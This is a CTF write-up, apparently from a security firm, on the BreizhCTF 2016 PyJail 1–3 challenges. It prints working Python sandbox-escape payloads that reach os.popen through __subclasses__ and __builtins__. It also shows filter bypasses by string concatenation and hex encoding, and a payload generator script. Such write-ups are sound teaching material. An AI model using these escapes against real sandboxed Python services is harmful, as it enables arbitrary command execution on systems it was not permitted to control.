New release : CTI Report - Pharmaceutical and drug manufacturing 

                 Download now

BreizhCTF 2016 – Write-Up – PyJail 1, 2, 3

BreizhCTF 2016 – Write-Up – PyJail 1, 2, 3

We were present at BreizhCTF 2016 organized by La Meito, @SaxX And @Kaluche. We finished 2nd in the afternoon CTF attack-defense competition prepared by diateam, and also 2nd in the Jeopardy of the night.

Below we offer the Write-Ups of the PyJail 1, 2 and 3 challenges which were solved by Sofiane Benmekki, currently a trainee consultant.
Thank you to the sponsors of this event, which we thoroughly enjoyed! And congratulations to the organizers, whom you can find in interview by NoLimitSecu.

PyJail 1

Challenge: Pyjail1 | Points: 300 | Success rate: 36%

The title of this challenge gives us a good clue to solving it. To begin, we look for the allowed functions.

By trying a few of them, we discover that only the function director is permitted.

The idea to solve this challenge is to find an accessible method that could allow the execution of system commands or to find a path to the "__import__" function of Python in order to load the "os" module.

By executing the following command on the server:

>print ().__class__.__base__.__subclasses__() [..., , ...]

The result is a list of types and classes accessible from the restricted environment (python jail).

We have a list of classes and types that can be used. We will use the class "warnings.catch_warnings" because it has a "_module" attribute which could allow us to access the accessible functions of a module (and potentially the __import__ function).

cf: https://hg.python.org/cpython/file/2.7/Lib/warnings.py

To analyze the content of this attribute, an instance of this class must be created and stored in the variable "wclass":

>wclass = ().__class__.__base__.__subclasses__()[59]()

By applying the dir function to the "_module" attribute:

>print wclass._module >print dir(wclass._module) ['WarningMessage', '_OptionError', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_getaction', '_getcategory', '_processoptions', '_setoption', '_show_warning', 'catch_warnings', 'default_action', 'defaultaction', 'filters', 'filterwarnings', 'formatwarning', 'linecache', 'once_registry', 'onceregistry', 'resetwarnings', 'showwarning', 'simplefilter', 'sys', 'types', 'warn', 'warn_explicit', 'warnpy3k']

A very interesting attribute appears, it's "__builtins__".

>print wclass._module.__builtins__ {..., '__import__': , ...}

The contents of "__builtins__" is a dictionary of "builtins" python functions containing, among other things, the __import__ function.

Once this function is located, all that remains is to import the "os" module and execute system commands using the "os" function of this module to obtain the flag.

>print wclass._module.__builtins__['__import__']('os').popen("pwd && ls -alR ").read() >print wclass._module.__builtins__['__import__']('os').popen("cat flag").read() BZHCTF{flag_pyjail_1}

Similarly, you can retrieve the source code of the challenge ("cat python_vm1.py"):

#!/usr/bin/python2.7 import readline def filter_1(payload): return payload def python_vm1(): def exec_sandbox(payload): exec payload in scope scope = {"__builtins__" : {"dir" : dir, "_" : exec_sandbox}} while True: try: data = raw_input(">") if data is None: break data = filter_1(data) exec_sandbox(data) except EOFError: break except Exception as e: print("Something went wrong ", e) if __name__ == '__main__': python_vm1()

PyJail 2

Challenge: Pyjail2 | Points: 200 | Success rate: 14% |

For this second pyjail challenge, we're sticking with the same idea as the first: getting out of the "jail". However, the range of inputs accepted by the program is reduced (the double underscore is no longer accepted by the program as an input).

Having retrieved the code from the first challenge, we notice that there is a function "_" which takes a string of characters as a parameter and executes the received code.

The idea is as follows: we will execute the same commands as before (pyjail1), except this time the `__` function will handle their execution. Since this function accepts a string as input, the string concatenation operator can be used to execute code containing a double underscore (`__` <=> `_` + `_`) and obtain the flag:

>_("wclass = ()._"+"_class_"+"_._"+"_base_"+"_._"+"_subclasses_"+"_()[59]()") >_("print wclass._module._"+"_builtins_"+"_['_"+"_import_"+"_']('os').popen('cat flag')").read() BZHCTF{flag_pyjail_2}

Similarly, you can retrieve the source code of the challenge ("cat python_vm2.py"):

#!/usr/bin/python2.7 import readline def filter_2(payload): """ No double underscore """ while "__" in payload: payload = payload.replace("__", "") return payload def python_vm2(): def exec_sandbox(payload): exec payload in scope scope = {"__builtins__" : {"dir" : dir, "_" : exec_sandbox}} while True: try: data = raw_input(">") if data is None: break data = filter_2(data) exec_sandbox(data) except EOFError: break except Exception as e: print("Something went wrong ", e) if __name__ == '__main__': python_vm2()

PyJail 3

Challenge: Pyjail3 | Points: 300 | Success rate: 7% |

This challenge follows the same logic as the previous two (escaping jail), except that this time the program's input alphabet no longer contains the following characters: » ' __ (double underscore)

The approach used for pyjail2 is not applicable to this challenge because there is no longer a way to send a string to the program. The only remaining option is the payjail1 approach, but this requires characters that are not allowed in this challenge.

By listing the tools we have:

  • The dir function
  • The function _
  • Declaring variables of a type other than str (e.g., a = 2)

The idea of constructing a string of characters that will be our payload to retrieve the flag seems the most relevant; we know that the payload allowing the retrieval of the "flag" is as follows:

>wclass = ().__class__.__base__.__subclasses__()[59]() >print wclass._module.__builtins__['__import__']('os').popen('cat flag').read()

Since there is no direct way to instantiate a str object, using the dir function allows us to instantiate a str object:

> a= 2 > print dir(a) ['__abs__', '__add__', '__and__', '__class__', '__cmp__', '__coerce__', '__delattr__', '__div__', '__divmod__', '__doc__', '__float__', '__floordiv__', '__format__', '__getattribute__', '__getnewargs__', '__hash__', '__hex__', '__index__', '__init__', '__int__', '__invert__', '__long__', '__lshift__', '__mod__', '__mul__', '__neg__', '__new__', '__nonzero__', '__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdiv__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'imag', 'numerator', 'real'] > b = dir(a)[0] > print b '__abs__''

Since the payload contains a large number of non-alphabetic characters ( » ' ()[] = . ), constructing the payload from the strings that can be obtained using the accessible functions is no longer feasible, but, if the payload is encoded in base 16 (hexadecimal) the alphabet will be reduced to 16 characters.

And the conversion from hexadecimal to a string of characters is possible because both the "encode" and "decode" methods are allowed.

>print b.encode >print b.decode

All that remains is to construct the hexadecimal alphabet. To begin, we must construct the word "hex" so that the two methods "encode" and "decode" can be used.

> hex = dir(a)[16][2:5] > print b.encode(hex) 5f5f6162735f5f

Once this operation is possible, we move on to the next step, which consists of creating the hexadecimal alphabet:

>tmp = [c.encode(hex) for c in dir(b)] >print tmp ['5f5f6164645f5f', '5f5f636c6173735f5f', '5f5f636f6e7461696e735f5f', '5f5f64656c617474725f5f', '5f5f646f635f5f', '5f5f65715f5f', '5f5f666f726d61745f5f', '5f5f67655f5f', '5f5f6765746174747269627574655f5f', '5f5f6765746974656d5f5f', '5f5f6765746e6577617267735f5f', '5f5f676574736c6963655f5f', '5f5f67745f5f', '5f5f686173685f5f', '5f5f696e69745f5f', '5f5f6c655f5f', '5f5f6c656e5f5f', '5f5f6c745f5f', '5f5f6d6f645f5f', '5f5f6d756c5f5f', '5f5f6e655f5f', '5f5f6e65775f5f', '5f5f7265647563655f5f', '5f5f7265647563655f65785f5f', '5f5f726570725f5f', '5f5f726d6f645f5f', '5f5f726d756c5f5f', '5f5f736574617474725f5f', '5f5f73697a656f665f5f', '5f5f7374725f5f', '5f5f737562636c617373686f6f6b5f5f', '5f666f726d61747465725f6669656c645f6e616d655f73706c6974', '5f666f726d61747465725f706172736572', '6361706974616c697a65', '63656e746572', '636f756e74', '6465636f6465', '656e636f6465', '656e647377697468', '657870616e6474616273', '66696e64', '666f726d6174', '696e646578', '6973616c6e756d', '6973616c706861', '69736469676974', '69736c6f776572', '69737370616365', '69737469746c65', '69737570706572', '6a6f696e', '6c6a757374', '6c6f776572', '6c7374726970', '706172746974696f6e', '7265706c616365', '7266696e64', '72696e646578', '726a757374', '72706172746974696f6e', '7273706c6974', '727374726970', '73706c6974', '73706c69746c696e6573', '73746172747377697468', '7374726970', '7377617063617365', '7469746c65', '7472616e736c617465', '7570706572', '7a66696c6c'] > alphabet = tmp[0][5]+tmp[3][-5] >print alphabet 12

The final result was:

>print alphabet 1234567890abcdef

Once the alphabet is ready, the payload can be encoded in hexadecimal:

>>> "wclass = ().__class__.__base__.__subclasses__()[59]()".encode('hex') '77636c617373203d2028292e5f5f636c6173735f5f2e5f5f626173655f5f2e5f5f737562636c61737365735f5f28295b35395d2829' >>> "print wclass._module.__builtins__['__import__']('os').popen('cat flag').read()".encode('hex') '7072696e742077636c6173732e5f6d6f64756c652e5f5f6275696c74696e735f5f5b275f5f696d 706f72745f5f275d28276f7327292e706f70656e282763617420666c616727292e726561642829'"

Given that both the "encode" and "decode" methods return a string as a result, the idea is to send these two lines in hexadecimal to the program, which will then decode them and send them to the "_" function, which takes a string as a parameter. Using the small Python program 'generator.py', we transform the hexadecimal code into several accesses to the list. alphabet which contains the hexadecimal alphabet (which allows only authorized characters to be sent to the program).

generator.py:

payload_init_wclass = "77636c617373203d2028292e5f5f636c6173735f5f2e5f5f626173655f5f2e5f5f737562636c61737365735f5f28295b35395d2829" payload_get_flag = "7072696e742077636c6173732e5f6d6f64756c652e5f5f6275696c74696e735f5f5b275f5f696d 706f72745f5f275d28276f7327292e706f70656e282763617420666c616727292e726561642829" alphabet = "1234567890abcdef" print "CODE TO INIT WCLASS :" line_0 = "" for c in payload_init_wclass: line_0 = line_0 + "alphabet["+str(alphabet.index(c))+"]+" print line_0 print "CODE TO GET THE FLAG: "line_1 = "" for c in payload_get_flag: line_1 = line_1 + "alphabet["+str(alphabet.index(c))+"]+" print line_1

Initialization of the variable wclass :

> _((alphabet[6]+alphabet[6]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+ alphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+alphabet[1]+alphabet[9]+alphabet[2]+alphabet[13]+ alphabet[1]+alphabet[9]+alphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+ alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+ alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+ alphabet[4]+alphabet[15]+alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+ alphabet[5]+alphabet[1]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[5]+alphabet[4]+ alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+ alphabet[4]+alphabet[15]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[4]+alphabet[5]+alphabet[1]+ alphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+ alphabet[6]+alphabet[2]+alphabet[5]+alphabet[4]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+ alphabet[4]+alphabet[15]+alphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]+alphabet[4]+alphabet[11]+ alphabet[2]+alphabet[4]+alphabet[2]+alphabet[8]+alphabet[4]+alphabet[13]+alphabet[1]+alphabet[7]+ alphabet[1]+alphabet[8]).decode(hex)) >print wclass catch_warnings()

Flag retrieval:

> _((alphabet[6]+alphabet[9]+alphabet[6]+alphabet[1]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[14]+ alphabet[6]+alphabet[3]+alphabet[1]+alphabet[9]+alphabet[6]+alphabet[6]+alphabet[5]+alphabet[2]+ alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+ alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[13]+alphabet[5]+alphabet[15]+ alphabet[5]+alphabet[3]+alphabet[6]+alphabet[4]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[4]+ alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[1]+ alphabet[6]+alphabet[4]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[12]+alphabet[6]+alphabet[3]+ alphabet[5]+alphabet[8]+alphabet[5]+alphabet[14]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+ alphabet[4]+alphabet[15]+alphabet[4]+alphabet[11]+alphabet[1]+alphabet[6]+alphabet[4]+alphabet[15]+ alphabet[4]+alphabet[15]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[13]+alphabet[6]+alphabet[9]+ alphabet[5]+alphabet[15]+alphabet[6]+alphabet[1]+alphabet[6]+alphabet[3]+alphabet[4]+alphabet[15]+ alphabet[4]+alphabet[15]+alphabet[1]+alphabet[6]+alphabet[4]+alphabet[13]+alphabet[1]+alphabet[7]+ alphabet[1]+alphabet[6]+alphabet[5]+alphabet[15]+alphabet[6]+alphabet[2]+alphabet[1]+alphabet[6]+ alphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+alphabet[6]+alphabet[9]+alphabet[5]+alphabet[15]+ alphabet[6]+alphabet[9]+alphabet[5]+alphabet[4]+alphabet[5]+alphabet[14]+alphabet[1]+alphabet[7]+ alphabet[1]+alphabet[6]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[3]+ alphabet[1]+alphabet[9]+alphabet[5]+alphabet[5]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+ alphabet[5]+alphabet[6]+alphabet[1]+alphabet[6]+alphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+ alphabet[6]+alphabet[1]+alphabet[5]+alphabet[4]+alphabet[5]+alphabet[0]+alphabet[5]+alphabet[3]+ alphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]).decode(hex)) BZHCTF{flag_pyjail_3}

Python code for the challenge:

#!/usr/bin/python2.7 import readline def filter_3(payload): ''' - No string literal - No double underscore ''' payload = payload.replace("'", "").replace('"', '') while "__" in payload: payload = payload.replace("__", "") return payload def python_vm3(): def exec_sandbox(payload): exec payload in scope scope = {"__builtins__" : {"dir" : dir, "_" : exec_sandbox}} while True: try: data = raw_input(">") if data is None: break data = filter_3(data) exec_sandbox(data) except EOFError: break except Exception as e: print("Something went wrong ", e) if __name__ == '__main__': python_vm3()